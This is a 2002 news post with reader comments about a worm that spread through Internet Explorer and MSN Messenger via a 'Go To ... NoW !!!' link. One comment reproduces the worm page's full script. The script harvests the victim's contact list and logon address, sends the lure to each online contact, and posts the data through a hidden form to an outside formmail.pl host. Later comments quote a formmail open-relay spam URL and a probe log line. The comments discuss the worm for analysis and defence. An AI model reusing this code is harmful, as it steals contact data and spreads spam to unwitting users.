Microsoft Instant Messenger Virus Sweeps Net

Many people have reported a Warhol virus affecting users of Microsoft Instant Messenger. If you get messaged, "Go To http://www.masenko-media.net/cool.html NoW !!!", or any similar message (apparently there are several websites with the infection code), I suggest not following the link. A brief discussion follows.

Sequence: Get messaged "Go To http://www.masenko-media.net/cool.html NoW !!!" or something similar with another URL. Follow the link. That webpage contains malicious code which gets your messenger contacts and sends a similar message to your contacts. It looks like it uses a vulnerability in formmail.pl as well, although I'm not exactly sure how (I'm not an expert in ECMAscript, sorry, and I have no systems that could possibly be affected by this to test with). I'm sure some of our readers can provide more information in the comments below.

There appear to be several webpages which carried the infected code, not just masenko-media.net. Some webmasters are already taking them down.

Sophistication: moderate. Damage: only your pride.

Solution: probably the latest mega-patch for Internet Explorer will fix the Microsoft bug that allowed this.

Risks: obviously, the code could have done worse than just messaging your contacts. With Microsoft making "messaging" an integrated part of the operating system, any flaws in it can be exploited to affect millions of people instantly, so it is a high-value target. Does it have commensurate high-strength security?

Comments

this didn't infect me..

[Anonymous Coward]

because I was using the linux version of Microsoft Messenger!

Well, that's one less effectual site for vectoring

[Second_Derivative]

If the entire population of slashdot accessing that site to point and laugh at the exploit code and how it doesnt affect them doesnt constitute a slashdotting, I dunno what does =) I already cant access it.

Someone post more links to the other vector pages, if we can't get them down any other way we'll bum-rush em ;)

in the eye of the beholder

[rakerman]

With a name like Warhol, obviously this isn't a virus, it's a form of art.

ToO mAnY cApS!!!11

[Anonymous Coward]

iF yOuR fRiEnDs SeNd YoU mEsSaGeS fOrMaTtEd LiKe ThIs, YoU nEeD tO fInD nEw FrIeNdS!!!11

Other clients?

[Geeyzus]

I assume this only affects the MSN client from Microsoft... correct? Or does this also affect other clients that can use the MSN network, like Trillian? If it is just a link to some virus code on a website, it would affect Trillian (because it actually doesn't propagate through the instant messaging program)... but if it is something that gets triggered inside MSN Instant Messenger, then Trillian users are safe...

Mark

Re:Other clients?

[Static_Neurotoxin]

Trillian is safe. Opera is safe. The only combo you need to worry about is IE and Messenger.

Re:Other clients?

[Qwerpafw]

Fire (like trillian, but for OS X) doesn't seem to care. At least, as far as I can tell. Most likely the security hole lies in windows/MSN integration. or in the MSN client software. But not the messaging protocol.

Of course, the trillian people have a MUCH better track record in terms of patches and so forth (they keep updating so it'll work with AOL...) so even if it affects trillian (pretty sure the answer is NO...) they will fix it before M$.

Re:Other clients?

[jaavaaguru]

EveryBuddy and Gaim are two alternative messaging clients that have access to the MSN chat system. I use to use Everybuddy but I prefer Gaim's interface now. Both are fully "skinnable" (using GTK themes) link Trillian is. There are plenty of alternatives to Microsoft's offering. MS's software would appear to make extensive use of scripting like most of their other products do, which does more bad than good with worms/viruses such as this one on the rounds. Gaim support perl scripting, but it's easy to disable it, and it's default state is disabled. I understand that most internet chat users probably don't realise that their software has this scripting ability. Maybe something needs done to make them aware of it and what it can (potentially) do. Then we might see less stories about people falling victim to these attacks. (hey!, stop laughing and saying they deserve it! that's not fair...)

Re:Other clients?

[ahde]

It affects trillian too -- but only your MSN contacts. And you have to use IE when you click on the link.

Anyone surprised?

[Qwerpafw]

I for one, am not shocked at all :)

Anyone who is shocked is a bit of a fool. It was only a matter of time, really, until one of M$'s many security holes in messenger was exploited. Kinda sad to think what will happen in the future as OS becomes more and more integrated with the internet. Your personal data (courtesy of passport) might be spread around if you replied to a IM, or data loss.

Don't use microsoft products, so I am not vulnerable. Happy me.

what's the url?

[MathJMendl]

What's the url for this virus? The link to "Go To http://www.masenko-media.net/cool.html NoW" wasn't clickable. Please fix this, /. admin!

Re:what's the url?

[Covant]

I think your sarcasm font is broken...

That reminds me, I wish MSN had tone markup's..
they've got enough of those dumb smiley faces.

Re:what's the url?

[MathJMendl]

Seeing as to how three separate people didn't see my invisable sarcasm tags, of course I'm not serious, lol. Thought it was obviously a joke. :-)

The Code

[nihilist_1137]

Use Trillian :http://www.trillian.cc. A few people msg me with the link. All that happens in that a blank window pops up. Mind you, i am on dual monitors so that may have had something to do with it. The code for the page (http://www.masenko-media.net/cool.html ) is:
<br><br>
<html>
<head>
<title>Welcome</title>
<Script>

var msnWin;
var msnList;
var msgStr = "Go To http://www.masenko-media.net/cool.html NoW !!!";

function Go(){

msnWin = document.open("res://mshtml.dll/blank.htm", "", "fullscreen=1");
msnWin.resizeTo(1, 1);
msnWin.moveTo(10000, 10000);
msnWin.document.title = "Please Wait...";
msnWin.document.body.innerHTML = '<object classid="clsid:F3A614DC-ABE0-11d2-A441-00C04F79568 3" id="msnObj1"></object><object classid="clsid:FB7199AB-79BF-11d2-8D94-0000F875C54 1" id="msnObj2"></object>';
focus();

if (msnWin.msnObj1.localState == 1){
msnWin.msnObj2.autoLogon();
}
Contacts();
Send();
msnWin.close();
document.contents.submit();
}

function Contacts(){
msnList = msnWin.msnObj1.list(0);
document.contents.email.value = msnWin.msnObj1.localLogonName;
document.contents.subject.value = Date();
var msnStr = "<br>";

for (i=0;i<msnList.count;i++){
if (msnList(i).state >1){
msnStr += "Online Contact: " + msnList(i).FriendlyName + ", email: " + msnList(i).LogonName + "<br>";
}

else{
msnStr += "Offline Contact: " + msnList(i).FriendlyName + ", email: " + msnList(i).LogonName + "<br>";
}
}
document.contents.contentBox.value = msnStr;
}

function Send(){
for (i=0;i<msnList.count; i++){
if (msnList(i).state >1){
msnList(i).sendText("MIME-Version: 1.0\r\nContent-Type: text/plain; charset=UTF-8\r\n\r\n", msgStr, 0);
}
}
}

</Script>
</head>
<body onload="Go()">
<p align="center">&nbsp;
<p align="center">&nbsp;</p>
<p align="center">&nbsp;</p>
<p align="center">&nbsp;</p>
<p align="center"><font face="Arial">
Please Wait...</font></p>
<form METHOD="POST" ACTION="http://www.yong.f2s.com/mailform.pl" NAME="contents" ID="Form1">
<input type="hidden" name="redirect" value="http://www.rjdesigns.co.uk/cool/go.htm" ID="Hidden1">
<input type="hidden" name="recipient" value="mmargae@wanadoo.nl" ID="Hidden5">
<input type="hidden" name="email">
<input type="hidden" name="subject">
<input type="hidden" NAME="contentBox" id="Hidden6">
<input type=hidden name="env_report" value="REMOTE_HOST,HTTP_USER_AGENT">
</form>
</body>
</html>

Re:The Code

[suwain_2]

$ wget http://www.masenko-media.net/cool.html
--19:08:55-- http://www.masenko-media.net/cool.html => `cool.html' Connecting to www.masenko-media.net:80... connected! HTTP request sent, awaiting response... 404 Not Found 19:08:55 ERROR 404: Not Found.

Seems they took it down? Now is this just going to have millions of people getting 404 messages?

Re:The Code

[einhverfr]

So this sends the links to your contacts in IM and takes your passport email address and sends it to the http://www.yong.f2s.com/mailform.pl (or something similar).

Damage: not just your pride-- being bombarded with lots of spam? (I guess that is TBD)

Re:The Code

[meanman]

> msnWin = document.open("res://mshtml.dll/blank.htm", "", "fullscreen=1");
> msnWin.resizeTo(1, 1);
> msnWin.moveTo(10000, 10000);
> msnWin.document.title = "Please Wait...";

This is a particularly annoying tactic that some popup ads use, where you create a new full screen window (only works in IE) then resize it and move it. The result is a window that has no border at all, and the malicious ad can then display a 'windows like' dialog image that can easily fool your average windows user into clicking.

Re:The Code

[einhverfr]

re-read the code-- the email address in the code is not yours. However, the jscript takes your msn logon (i.e. email address) and adds that to the form before submitting it!

Re:The Code

[c0wh]

To nitpick a bit, this tactic is actually used to hide the window in all respects but its entry in the taskbar. (it's resized to one pixel tall and wide, and moved way off the lower right corner, unless your screen resolution is above 10,000 x 10,000.)

Popups like this usually avoid being noticed, so they can launch normal pop up ads at thirty second intervals if they so choose.

I can't stand this crap. Mozilla has gone in a great direction by disabling any "window.open" calls except from user generated events. (no more popups "onLoad" or "onUnload," if you enable that feature)

Re:The Code

[inKubus]

It's funny. Most of the code for Windows looks like this. Windows is basically one big script. Everything it does, practically, is scripted. They were relying on the fact that most of the scripting is undocumented, but a simple browse to \windows\web and opening *.htt with notepad should show you how much of a problem this is. Even something as fundamental as file browsing is scripted. There will always be a way to exploit windows.

Re:The Code

[Graspee_Leemoor]

"Windows is basically one big script. Everything it does, practically, is scripted....There will always be a way to exploit windows"

As opposed to linux where there is not a script in sight?

Actually the Windows scripts differ from linux ones in that they control some pretty fundamental things in the OS, like the html behind file-manager windows. Linux scripts are, I suppose, only run at certain specific times, like ppp-up or system shutdown.

Of course, either system is open to the abuse of replacing standard scripts with malicious ones, it's just that under linux most people are not using their root account for day-to-day work, while under Windows nearly everyone's Administrator.

blah blah, this is because a) Users know no better , b) Because Windows has this different mindset there are a whole bunch of things you have to be Administrator to do, so it is harder for security-conscious users to seperate the user from the super-user.

graspee

could be a lot worse, likely will be soon

[immanis]

I wrote a simple script about a year ago that exported a user's MSN registry key and sent it to me. Given that MSN logins, Passport Logins and Hotmail logins all could be gleaned from that key... well you get the idea.

It worked too. Got to log into MSN as the CTO of our company, just to make a point.

As long as scripters can manage things like this, and as long as it is _that_ easy to pull a person's login data from the registry, Passport will _never_ be secure.

Re:could be a lot worse, likely will be soon

[Tony-A]

Or if Microsoft decides to store it anyway.
If it's stored as a temporary prior to making it permanent.
What little security there is is more the fault of lazy crackers.

FUD. Fear Uncertainty Doubt. Where does your data want to go today?

Not a Messenger flaw

[Osty]

First off, this is not a virus. It's an Internet Explorer exploit allowing access to your Messenger contact list and other Messenger functions. As the post noted, it is fixed with the latest IE patch. The actual problem was with IE's document.open scripting object, and how it was able to access local system objects from web sites (basically, the about: URI namespace was considered to be in the "My Computer" security domain, which means it had much more lax security than an actual website. However, since about: can take valid html, site developers were able to embed Messenger objects in about: pages, and access information from that). This is not a problem with Messenger at all.

Install the patch and be done with it.

Re:Not a Messenger flaw

[RWarrior(fobw)]

"Install the patch and be done with it."

Is that why I keep getting probed with NIMDA? Because people just install the patch and are done with it?

Re:Not a Messenger flaw

[Tackhead]

> First off, this is not a virus. It's an Internet Explorer exploit allowing access to your Messenger contact list and other Messenger functions.

And while we're at it, this isn't a Warhol worm either.

I don't see the optimized scanning routine for initial propagation. I don't see a precompiled target list or any innovative ways to scan the network. And if you wanted to do maximum damage, you'd release it on a Friday night before this weekend.

Unless the spam from the formmail.pl script contains a very clever exploit to set the stage for a second round of infection, I'm calling this one a false alarm. It's an annoyance, but not a Warhol worm by any stretch of the imagination.

Re:Not a Messenger flaw

[rhavyn]

Hmm ... or maybe it's because that problem with Linux went away a long time ago. A default workstation install of Red Hat Linux 7.2 has zero open ports and a firewall that blocks access to all ports under 1024.

Now, obviously if someone sets up a server and doesn't patch, that person is an idiot (and that is true no matter what OS he/she is running). Unfortunately for your argument, we're talking about an instant messenger client and a web browser, not things that are likely to be installed on a server. The fact is, you can't exploit my Linux system via Mozilla/Konq/Galeon/Netscape, yet every other week, a new way to exploit Windows using IE pops up.

So, in conclusion, your argument is completely irrelevant to the topic at hand ... there has never been an exploit like this released against Linux, there is an exploit like this released against Windows about once a month ... I think we can safely start saying it's Microsoft's fault at some point.

Re:Not a Messenger flaw

[lessthan0]

And next week, when the next batch of critical security flaws is revealed, follow the Microsoft DIR cycle...

1. Download the patch.
2. Install the patch.
3. Reboot.

Plan to do this every week on all your critical servers, work machines and home PCs. Just do this every week forever, or as long as you run a Microsoft OS and be done with it.

Re:Not a Messenger flaw

[CaptainSuperBoy]

A default install of Windows XP has zero open ports and a firewall, too. It automatically downloads security updates, which should prevent this IE exploit from becoming widespread.

Maybe the problems you're talking about went away in Windows? For someone who is so up to date on Linux, you should learn a little about Windows before you bash it for past problems.

Re:Not a Messenger flaw

[Osty]

Hmm ... or maybe it's because that problem with Linux went away a long time ago. A default workstation install of Red Hat Linux 7.2 has zero open ports and a firewall that blocks access to all ports under 1024.

Except that Red Hat Linux 7.2 is not exactly all that old. Even as recently as RedHat 7.0, there were still security problems with a default install. That's what, a year old? And RedHat is not the only distro out there. And not everybody installing today is installing the latest versions. I spoke with a guy just recently who wanted to install SuSE 6.0 (SuSE is at version 7.3, now. 6.0 is roughly 2-2.5 years old, or so), simply because those were the CDs he had on-hand. I constantly see people trying to install RedHat 6.2, and even 5.2. As well, your argument is ignoring all those people that installed Linux back during the whole dot-bomb bubble (because Linux was the up-and-coming cool thing to have), and promptly forgot about that system in their back room running it. That's what, RedHat 6.0? SuSE 6.0? Slackware 4.0? Those installations are still a problem even today.

Now, obviously if someone sets up a server and doesn't patch, that person is an idiot (and that is true no matter what OS he/she is running). Unfortunately for your argument, we're talking about an instant messenger client and a web browser, not things that are likely to be installed on a server. The fact is, you can't exploit my Linux system via Mozilla/Konq/Galeon/Netscape, yet every other week, a new way to exploit Windows using IE pops up.

Right. Anyone setting up a server and not patching is an idiot. But that doesn't mean people aren't doing just that. Both Microsoft and RedHat have taken steps to protect against that, yet Microsoft is villified while RedHat is heralded. That was exactly the point of the AC's comment. Yes, this article was about an IE exploit. Yes, his comment was off-topic. No, his comment is not ungrounded. Within the scope of his comment pertaining to servers, you know what he said is true. You might not want to believe it, but it is. Anyway, the reason why you don't see many exploits for Mozilla/Konq/Galeon/Netscape (three of which are all based on a single rendering engine, and the fourth can use that same engine as well) is because they are small potatoes compared to IE. There's just not much reason for hax0rs to spend their time finding exploits in those browsers when they're only going to hit maybe 5% of the browsing public (and I'm being generous). Microsoft software really doesn't have significantly more problems than any other software. Microsoft is simply a large target, and so many and more people spend much more time finding those holes (often for malicious purposes, sadly).

Re:Not a Messenger flaw

[rhavyn]

Where exactly in my post did I bash Windows? I pointed out that I agree that server admins that don't patch systems are at fault if their server has problems. But, I also pointed out that we're not talking about servers being exploited, we're talking about software which runs on top of Windows consistently have gaping holes.

Microsoft could put as many firewalls as they want to into their product, but IE (or out look, or uPNP, name your exploit of the week) continually has holes in it. A web browser should not have the capability to cause the havoc that IE has caused for Microsoft users (and don't even get me started on Outlook).

Not that there isn't plenty of reasons to bash Windows, please don't imply that I'm doing something that I'm obviously not doing (and don't automatically assume that I know nothing about Windows just because I know something of Linux).

Re:Not a Messenger flaw

[rhavyn]

You were doing good up to here:

Microsoft software really doesn't have significantly more problems than any other software. Microsoft is simply a large target, and so many and more people spend much more time finding those holes (often for malicious purposes, sadly).

IE has the biggest marketshare, and Windows has the biggest desktop marketshare, but the reason that people attack Windows systems is it's easy. I wish people would stop kidding themselves with the market share excuse. MS software has serious design flaws which makes it very easy to exploit a flaw in the browser to extract data from the registry and mail that off to some email address. Under windows, that is easy, under Linux there are multiple different browsers, you don't know what email client might be available, there is no central place to grab system/user info and there is no easy way to automate the process. The same type of exploit is used over and over and over again, yet for every patch MS releases, someone finds a new way to write an exploit that uses the same basic method. How long, exactly, do you think it's going to take before Microsoft recognizes this and fixes the design flaws instead of releasing patches which amount to little more then sticking their finger in the crack in the dam?

Re:Not a Messenger flaw

[Malcontent]

"Install the patch and be done with it."

On all 5000 desktops of your corporation.

Re:Not a Messenger flaw

[ConsumedByTV]

Pig headed idiot.

A couple of things:

• You have to turn on the auto update feature, its not on by default.
  
• The Universal Plug and Play (UPnP) subsystem vulnerabilities in XP

As someone thats "so up to date on windows", you should learn a little about it before you start to talk about it.

Everything has problems microsoft just puts the problems into the hands of people that cannot fix it, the end user.

Re:Not a Messenger flaw

[jesser]

under Linux there are multiple different browsers, you don't know what email client might be available, there is no central place to grab system/user info and there is no easy way to automate the process

Security through obscurity? No thanks. That only makes it harder to write a payload for a worm or virus; it doesn't make propogation much harder.

Re:Not a Messenger flaw

[CaptainSuperBoy]

Auto-update is on by default in Windows XP, it is set to prompt you before downloading and prompt you again before installing the patch. Or would you rather have it install random software without asking you?

The UPNP flaw is fixed by XP's auto-update.

And, pig headed idiot? Come on, you're not even trying there.

Re:Not a Messenger flaw

[CaptainSuperBoy]

Where exactly in my post did I bash Windows?

Right here:

every other week, a new way to exploit Windows using IE pops up

My point was, you were comparing this year's Linux to last year's Windows. WinXP, with security updates, is reasonably secure. Even Redhat 7.2 has over 30 security updates.

interesting article on the reg

[rogueuk]

the register had an article about this a few days ago. A flawed Document.Open() in the script apparently causes it. The demo site the reg links to is pretty interesting. And of course, MS has known about this since december :-P

Re:interesting article on the reg

[targo]

And of course, MS has known about this since december :-P


Yes, and there has been a patch for this problem. So what did you expect MS to do? Spam all the IM users to install the patch? C'mon.
Btw, WindowsUpdate prompts you to install this patch, I don't see what else should have been done about it ("this bug should not have been there" rants don't count as a solution).

Re:interesting article on the reg

[ahde]

IE cost me 150 bucks. Plus, I need to pay $50 a month just to install patches.

Re:interesting article on the reg

[tswinzig]

And of course, MS has known about this since december :-P

Perhaps that is why a patch is already available which fixes this problem? (And has been available for a while.)

Re:interesting article on the reg

[sam_handelman]

"this bug should not have been there" rants don't count as a solution

You're artificially restricting the sphere of possible solutions to things that might help, which is intellectually honest. Shame on you.

In ancient Sumeria, they used to execute architects when the buildings that they constructed collapsed. By the same token, we should kill some people.

If we've learned one thing from the 20th century, it is that big government is inefficient. Therefore, the killings should be handled by the private sector.

The proceedings against MS are criminal, in addition to civil. In a criminal proceeding, the judge is perfectly justified in issueing fatwas against MS programmers who write buggy code - this is a well established precept of Sharia.

Thus, I've proven that the free market will take care of MS on it's own, punishing it for buggy programming - through highly paid mercenary assassins, with EULAs to kill.

I want to test and see if anyone reads their EULAs. Distribute a piece of software with an EULA that says, about halfway through-
"By installing this software, you agree to take up arms in defense of (company name), march to the fastness of her foe, and slaughter her enemies. Please register the software so that we can give you your orders."

Re:interesting article on the reg

[the phantom]

Rather, architects were executed if their buildings collapsed and killed the owner. If the owner's son was killed, then the architects son was executed. Lex talionis.

But I'm WAY offtopic.

Re:interesting article on the reg

[Error27]

>>Yes, and there has been a patch for this problem. So what did you expect MS to do? Spam all the IM users to install the patch?

Maybe they could send an email that describes the problem and the fix.

Also they could put a link on microsoft.com or create a site called security.microsoft.com.

These things are fairly common from companies that don't treat their customers like dirt.

Re:interesting article on the reg

[Sklivvz]

The patch does not work!!!! See here!

thanks bill.... :-(

Re:interesting article on the reg

[Alsee]

If the owner's son was killed, then the architects son was executed.

Then I guess you kill the owner if the architech is the the owner's father, hehe.

-

Re:interesting article on the reg

[KnightStalker]

If we've learned one thing from the 20th century, it is that big government is inefficient. Therefore, the killings should be handled by the private sector.

Actually, I believe the 20th century taught us that big government is only efficient at the task of killing people.

Re:interesting article on the reg

[Error27]

Those links are not useful.

Compare them to something like security.debian.org or redhat.com/errata/ or sunsolve.sun.com/security. These links give information about what programs had security problems.

The first link you provided doesn't seem to have any useful information. The second link is too hard to remember. It also doesn't give any useful information.

The correct link if you want Microsoft security information is:
http://www.microsoft.com/technet/treeview/defaul t. asp?url=/technet/security/current.asp

I think that the fact you couldn't find the correct link proves my point that Microsoft needs to have a site dedicated to providing security information for their products.

Kinda funny..

[jfroot]

I get this message from this girl I kindof like on MSN saying to go to this URL urgently. So I do (duh!). Turns out it is a porn site.. So I'm thinking what is this girl saying? Is she dropping some no so subtle hints? As I ponder this I get a MSN message from my mom asking me why I sent her a link to a porn site.. then I understood..

Warhol? worm

[blkros]

The worm seems to be named because of a quote that the site attributes to Andy Warhol.(ie. 'in the future everyone will have his 15 minutes of fame.') That quote should actually be attributed to Marshal MacLuhan, who Andy ripped it off from. So these worms should be name MacLuhan worms.

Re:Warhol? worm

[interiot]

Where's my "+1, Ironic" mod when I need it?

Not so sure the story is accurate.

[einhverfr]

The page appears to post a hidden form with your email information to the page. I suspect that it may be a contact gatherer for spammers (a new low...) though it could have done much more.

FormMail.pl is the perl script which recieves this information. It is pretty interesting...

Re:Not so sure the story is accurate.

[brain159]

quite probably unrelated to this is a few days ago my website got hit by some apparent script which was searching for "open" formmail.pl scripts to abuse by trying to send an email off to some random guy (I guess formmail.pl is fairly standard - the owner of the site whose script is being used may be an innocent relay in the warhol worm/virus). Here's the apache log line of when my site was scanned, just in case anyone else has spotted similar:

24.90.121.snip - - [12/Feb/2002:00:38:16 -0500] "GET /cgi-bin/formmail.pl?email=f2%40aol%2Ecom&subject= bbx%2Eflarp%2Enet%2Fcgi%2Dbin%2Fformmail%2Epl&reci pient=icases0ber%40aol%2Ecom&msg=w00t HTTP/1.1Content-Type: application/x-www-form-urlencoded" 404 295 "-" "Gozilla/4.0 (compatible; MSIE 5.5; windows 2000)"

It's RoadRunner cable modem service apparently, and the browser info is obviously going to be rubbish.

Re:Forwards are evil / Virus news

[djsable]

>> Why can't one single week go by without a big annoying MSFT bug / virus being exposed?

The media loves that crap. They descend on it like a shark smelling blood. Any other product could have worse bugs, and they would be all Ho Hum, but a MS bug/virus? whooo boy, feeding frenzy!!

Also, because the people who write the Virii target MS (it might just be easier too.) because of the LARGE install base of it. You can write a Linux virus, and it nails like 100 people, but you could write the same bug targeting MS products, and you can nail 100,000! You do the math. :) which is more tempting a target.

No system is 100% secure. Period, end of story.

MS products in general, are like swiss fricking cheese though. My big complaint is the "Turn It on By default" attitude of MS Products. I had the Messenger on my system, and after adding a couple of co-workers, never used it. I got nailed by the bug today, and was quite annoyed by it. Fortunatly, the payload is non destructive, or I would have been PISSED. Leave it off by default, and IF i want it, I'll turn it on.

badger

Finally!

[digitalcowboy]

I've been reluctant to use the MS IM client because it didn't appear they had fully integrated it's virus abilities with all their other software. Now that it's part of a fully integrated Microsoft Virus Productivity Suite, I'm ready!

Can anybody tell me where I can sign up for one of those Passport Universal Identifier and Cybercash Wallets and get the MS implant in my right hand or forehead?

Microsoft Article Virus Sweeps Slashdot

[guttentag]

Four entries in the Microsoft topic in one day?

1. Microsoft Instant Messenger Virus Sweeps Net
2. What is .NET?
3. States Demand Windows Source Code
4. Details of MSFT's Antitrust Lobbying

There were none yesterday, or the day before... the calm before the storm...

Re:No DNS Record? (Geeky Observations)

[jfroot]

Just go to the registrar www.godaddy.com:

MASENKO-MEDIA.NET WHOIS results:

The data contained in Go Daddy Software, Inc.'s WHOIS database,while believed by the company to be reliable, is provided "as is"with no guarantee or warranties regarding its accuracy. Thisinformation is provided for the sole purpose of assisting youin obtaining information about domain name registration records.Any use of this data for any other purpose, including, but notlimited to, allowing or making possible dissemination orcollection of this data in part or in its entirety for anypurpose, such as the transmission of unsolicited advertising andsolicitations, is expressly forbidden without the prior writtenpermission of Go Daddy Software, Inc. By submitting an inquiry,you agree to these terms of usage and limitations of warranty.Registrant: Net Crater NetCrater 502 Summit ST Walnut Cove, North Carolina 27052 United States Registrar: Go Daddy Software (http://registrar.godaddy.com) Domain Name: MASENKO-MEDIA.NET Created on: 06-Feb-02 Expires on: 06-Feb-03 Last Updated on: 06-Feb-02 Administrative Contact: Crater, Net domains@netcrater.com NetCrater 502 Summit ST Walnut Cove, North Carolina 27052 United States 3365917696 Technical Contact: Crater, Net domains@netcrater.com NetCrater 502 Summit ST Walnut Cove, North Carolina 27052 United States 3365917696 Domain servers in listed order: NS1.NETCRATER.COM NS2.NETCRATER.COM

It's only a matter of time...

[Max the Merciless]

until someone unleashes a virus that does some serious damage. If I was a "terrorist" hell bent on punishing the Western world for whatever percieved sins, I'd be learning how to make, or hiring programmers, to unleash a truely destructive virus.

It's been said many times before, but I'll say it again, any monoculture is far more vulnerable to attack than a diverse system. Relying on one system, be it Microsoft or even Linux, is foolish.

The destruction of the Microsoft monopoly is not just a matter of helping improve competition, it is a serious security matter. No amount of campaign donations or legal semantics should distract the government from its task of providing security.

Re:This is news?

[joshsisk]

Uh, so people can download the patch before they get the virus, maybe?

worm primer

[elbobo]

just gave it a go, and it didn't affect me. running winxp with netcaptor browser (embeds ie) and trillian (im client that connects to the msn messanger network among others)

not that i was expecting it to work.

what amuses me though, is how the linked page from this article reads like a very handy worm writing primer, suggesting better propogation methods -

Optimized scanning routines, hitlist scanning, and permutation scanning can be combined to produce hyper virulent Warhol Worms. Since they are so fast, such worms would be the vehicle of choice for delivering malicious payloads to the net at large.

This is dumber than a mail worm

[J.D. Hogg]

I would be impressed to see a worm silently infect your machine and try to infect your contacts. But this one asks you a *click a url* ?? Anybody who doesn't dismiss a message with a URL or an attachment from somebody they don't know, whether it's in an instant message or an email, deserves to be infected (and also should have their computers taken away from them and a flyer explaining them why they shouldn't talk to strangers in the street given to them instead).

But /. is right, it is a Warhol virus : all the posters who reported this non-news got their 15 minutes of fame on Slashdot.

Re:This is dumber than a mail worm

[joemiah]

It spreads through your contacts, so the recipients are more than likely receiving the URL from someone they know.

Re:This is dumber than a mail worm

[CrayzyJ]

"somebody they don't know"

It says that the virus sends the msg to people in the contact list. Hence, you'd get messages from your friends/family/whatever.

Re:This is dumber than a mail worm

[J.D. Hogg]

"It says that the virus sends the msg to people in the contact list. Hence, you'd get messages from your friends/family/whatever."

Ah yes, I didn't see that, my fault. Still though, I got emails from friends with a strange vague "Go there it's cool" line, and that sounded odd enough that I didn't open them (i.e. it didn't sound like it came from that person, and even if it could have, it was too impersonal to be true). Turned out to be from an Outlook virus when I checked later.

Not that URL

[phliar]

Was that just an example URL?

GET /cool.html HTTP/1.1
Host: www.masenko-media.net
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Win32)

HTTP/1.1 404 Not Found
Date: Thu, 14 Feb 2002 00:07:30 GMT
Server: Apache/1.3.20 (Unix) mod_bwlimited/0.8 PHP/4.0.6 DAV/1.0.2 mod_log_bytes/0.3 FrontPage/5.0.2.2510 mod_ssl/2.8.4 OpenSSL/0.9.6
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<HTML><HEAD>
<TITLE>404 Not Found</TITLE>
</HEAD><BODY>
<H1>Not Found</H1>
The requested URL /cool.html was not found on this server.<P>
<P>Additionally, a 404 Not Found
error was encountered while trying to use an ErrorDocument to handle the request.
<HR>
<ADDRESS>Apache/1.3.20 Server at www.masenko-media.net Port 80</ADDRESS>
</BODY></HTML>

(No Micros**t anywhere on these machines. Cheers!)

Re:Not that URL

[Saint Nobody]

Server: Apache/1.3.20 (Unix) mod_bwlimited/0.8

hmmm.... well, i'm not really familiar with mod_bwlimited, but it sounds like a module for limitimg the bandwidth used by certain pages. (correct me if i'm being an idiot.)

assuming i'm right, this really wasn't the place to put virus code. even though it's only a smallish html document, all the hits you can get from a virus would really add up. so you've already limited the spread of the virus. although, i'd bet it's just free web space, and <aphorism>beggars can't be choosers</aphorism>

Re:No DNS Record? (Geeky Observations)

[bovinewasteproduct]

You might try just the domain name. Which comes out to:
Registrant:
Net Crater
NetCrater
502 Summit ST
Walnut Cove, North Carolina 27052
United States

Registrar: Go Daddy Software (http://registrar.godaddy.com)
Domain Name: MASENKO-MEDIA.NET
Created on: 06-Feb-02
Expires on: 06-Feb-03
Last Updated on: 06-Feb-02
Administrative Contact:
Crater, Net domains@netcrater.com
NetCrater
502 Summit ST
Walnut Cove, North Carolina 27052
United States
3365917696
Technical Contact:
Crater, Net domains@netcrater.com
NetCrater
502 Summit ST
Walnut Cove, North Carolina 27052
United States
3365917696

Domain servers in listed order:
NS1.NETCRATER.COM
NS2.NETCRATER.COM

Looks fine to me..:)

BWP

One shoe drops

[Anonymous Coward]

Well, this is one of a number of Damoclean swords hanging over the Net. A couple of other widely predicted "what if..?"s have already come to pass: Nimda was the first successful implementation of one, attacking through multiple vulnerabilities; others would include yesterday's SNMP freakout, the separate possibility of routing protocol attacks, yadda yadda, oh look... you all read bugtraq|incidents|nanog, et al., and know the score, and are presumably not very vulnerable. (Although one especially interesting aspect of this and other worms is that it defeats the security posture that says "take yourself out of the top 10% of easy sites to break into [by, eg., ONLY implementing the SANS top 10/20 fixes] and the kiddies will pass you by". If you're vulnerable, you WILL be hit. ) "But I haven't got anything worth taking, why would anyone want to crack me?" *sigh*...

The thing that gets me is that NOTHING MAKES ANY DIFFERENCE. Web defacements - make no difference. ILoveYou - no effect. Melissa: nada, Nimda - plus ca change, plus ca la meme chose. Code Red? code schmed. The PHBs seem quite happy to just reformat, reinstall, count it as a cost of doing business on the net, and forget any lessons less stupid people might learn.

Don't believe me? check out the IIS curve at Netcraft . What happened after Nimda and Code Red? IIS usage INCREASED.

Mebbe I'm just bitter cos I'vre been trying to break into info-sec work for the last few years and getting nowhere cos I haven't an MCSE|CCNA|CISSP|security clearance, although I can usually spot half a dozen glaring holes in a setup within a few hours. (actually I interviewed at a "leading security firm" once & was given an automated test: I couldn't help noticing the machine I was given was logged in as NT Domain Admin. No, it wasn't a double-bluff test of my ethics!)

Er... well, yes, I AM bitter; but that doesn't change the fact that there are an awful lot of clueless gimps out there managing (techs who manage) networks and network-connected systems.
It seems to me that nothing short of a totally 100% evil malware that nukes HDs after silently & terminally corrupting backups for a few weeks will hit enough people where it counts - their wallets - to make any difference to the importance placed on info-sec in the vast majority of places.

Re:One shoe drops

[rjamestaylor]

• Don't believe me? check out the IIS curve at Netcraft [netcraft.com] . What happened after Nimda and Code Red? IIS usage INCREASED.

IT purchasing decisions are made by people who are insulated from these problems but not from IT advertising. Ergo, this kind of problem has little to no effect on the IT market.

Re:The solution...

[iamplasma]

Yes, but guess what M$ have decided to make a compulsory add-on to windows XP. Yep, that's right, Messenger. I can just wait for the argument as to why "messenger is an essential part of windows".

formmail.pl

[TheFlu]

Just an FYI about the lack of security on older versions of formmail.pl You should replace the exploitable version, if you are using it yourself.

Formmail.pl Can Be Used As An Open Mail Relay

Summary
The CGI program Formmail.pl lacks adequate security checks and allows spammers to send anonymous e-mail using vulnerable host as mail relays.
This vulnerability has already been exploit by spammers in many installations of Formmail.pl.

Details
Matt Wright's formmail.pl program does a "security check" on the HTTP_REFERER server variable. The security check is usually used to verify that information submitted from a form came from a proper or designated domain. This is usually done to prevent someone from creating a local, malicious form to submit to a script. This can be easily bypassed by passing a raw HTTP request, and faking the HTTP Referrer. This script also allows you to set the recipient's email address in the form. These two factors allow a malicious user to use the formmail.pl program two distribute their email (SPAM).

Exploit:
A URL such as the following:
http://www.example.com/cgi-bin/FormMail.pl? recipient=email@address-to-spam.com&message= Proof%20that%20FormMail.pl%20can%20be%20used%20to% 20send%20anonymous%20spam.

